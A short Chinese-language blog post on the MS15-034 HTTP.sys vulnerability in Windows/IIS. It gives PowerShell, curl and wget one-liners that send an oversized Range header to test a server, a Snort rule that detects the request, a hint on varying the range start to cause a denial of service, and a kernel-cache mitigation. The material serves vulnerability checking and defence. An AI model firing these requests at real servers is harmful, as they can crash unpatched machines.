所有 Windows 平台上有用 HTTP.sys 皆有可能被攻擊到掛,DOS 攻擊要生效需要伺服器上有大檔案存在(>4GB) 比較有可能

檢查方式

powershell -com {$wr=[Net.WebRequest]::Create( 'http://10.10.10.171/iisstart.htm');$wr.AddRange('bytes' ,0,18446744073709551615);$wr.GetResponse();$wr.close()}

curl -v 10.10.10.171/ -H "Host: test" -H "Range: bytes=1-18446744073709551615"

wget -O /dev/null --header="Range: 0-18446744073709551615" http://10.10.10.171/

用 SNORT 防護方式

alert tcp $EXTERNL_NET any -> $HOME_NET 80 (msg: " MS15-034 Range Header HTTP.sys Exploit"; content: "|0d 0a|Range: bytes="; nocase; content: "-"; within: 20 ; byte_test: 10,>,1000000000,0,relative,string,dec ; sid: 1001239;)

(byte_test is limited to 10 bytes, so I just check if the first 10 bytes are larger then 1000000000)

DOS 攻擊方式

這 "0-" ~ "20-" 中間值作切換

IIS7 可以停用核心快取來防範這個漏洞

參考 : MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH NOW

最後修改日期: 2015 年 04 月 16 日

作者

留言

撰寫回覆或留言

發佈留言必須填寫的電子郵件地址不會公開。